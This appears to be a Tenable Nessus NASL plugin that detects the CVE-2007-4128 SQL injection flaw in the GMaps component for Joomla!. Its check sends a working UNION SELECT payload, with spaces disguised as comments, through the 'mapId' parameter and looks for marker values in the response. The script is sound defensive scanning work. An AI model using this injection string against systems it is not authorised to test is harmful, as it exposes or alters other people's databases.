Vulnerabilities > CVE-2007-4128 - SQL Injection vulnerability in Firestorm Technologies Gmaps 1.00

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(25824);
  script_version("1.23");
  script_cvs_date("Date: 2018/06/13 18:56:27");

  script_cve_id("CVE-2007-4128");
  script_bugtraq_id(25146);
  script_xref(name:"EDB-ID", value:"4248");

  script_name(english:"GMaps Component for Joomla! 'mapId' Parameter SQLi");
  script_summary(english:"Attempts to manipulate a map description with SQL injection.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by a
SQL injection vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of the GMaps component for Joomla! running on the remote
host is affected by a SQL injection vulnerability in the
classes/gmapdao.class.php script due to improper sanitization of
user-supplied input to the 'mapId' parameter before using it to
construct database queries in the getMap() function. Regardless of the
PHP 'magic_quotes_gpc' setting, an unauthenticated, remote attacker
can exploit this issue to manipulate database queries, resulting in
disclosure of sensitive information, modification of data, or other
attacks against the underlying database.");
  # http://www.firestorm-technologies.com/gmaps-sql-injection-issue-resolved-download-1-1-immediately/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?c2cf3dfa");
  script_set_attribute(attribute:"solution", value:
"Upgrade to GMaps version 1.1 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:U/RC:ND");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2007/07/31");
  script_set_attribute(attribute:"patch_publication_date", value:"2007/07/31");
  script_set_attribute(attribute:"plugin_publication_date", value:"2007/08/01");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:joomla:joomla\!");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2007-2018 Tenable Network Security, Inc.");

  script_dependencies("joomla_detect.nasl");
  script_require_ports("Services/www", 80);
  script_require_keys("installed_sw/Joomla!", "www/PHP");
  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

app = "Joomla!";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);
dir = install['path'];
install_url =  build_url(port:port, qs:dir);

# Verify component is installed
plugin = "GMaps";

# Check KB first
installed = get_kb_item("www/"+port+"/webapp_ext/"+plugin+" under "+dir);

if (!installed)
{
  checks = make_array();
  regexes = make_list();
  regexes[0] = make_list('<name>GMaps</name>', 'Firestorm Technologies');
  checks["/administrator/components/com_gmaps/gmaps.xml"]=regexes;

  # Ensure plugin is installed
  installed = check_webapp_ext(
    checks : checks,
    dir    : dir,
    port   : port,
    ext    : plugin
  );

}
if (!installed) audit(AUDIT_WEB_APP_EXT_NOT_INST, app, install_url, plugin + " component");

# Try to exploit the issue.
magic1 = unixtime();
magic2 = rand();
exploit = "-1 UNION SELECT 0," + magic1 + "," + magic2 + ",3,4,5,6,7,8--";
exploit = str_replace(find:" ", replace:"/**/", string:exploit);
url = "/index.php?option=com_gmaps&task=viewmap&Itemid=57&mapId="+exploit;

w = http_send_recv3(
  method : "GET",
  item   : dir + url,
  port   : port,
  exit_on_fail : TRUE
);
res = w[2];

# There's a problem if...
if (
  # it looks like GMaps and...
  '>GMaps</a> and Google' >< res &&
  # we see our magic in the map description
  '<div class="componentheading">' + magic1 + '</div>' >< res &&
  '<div id="gmapdescription">' + magic2 + '</div>' >< res
)
{
  output = strstr(res, 'class="componentheading">'+magic1);
  if (empty_or_null(output)) output = res;

  security_report_v4(
    port        : port,
    severity    : SECURITY_HOLE,
    sqli        : TRUE,
    generic     : TRUE,
    request     : make_list(install_url+url),
    output      : chomp(output)
  );
  exit(0);
}
else
  audit(AUDIT_WEB_APP_EXT_NOT_AFFECTED, app, install_url, plugin+" component");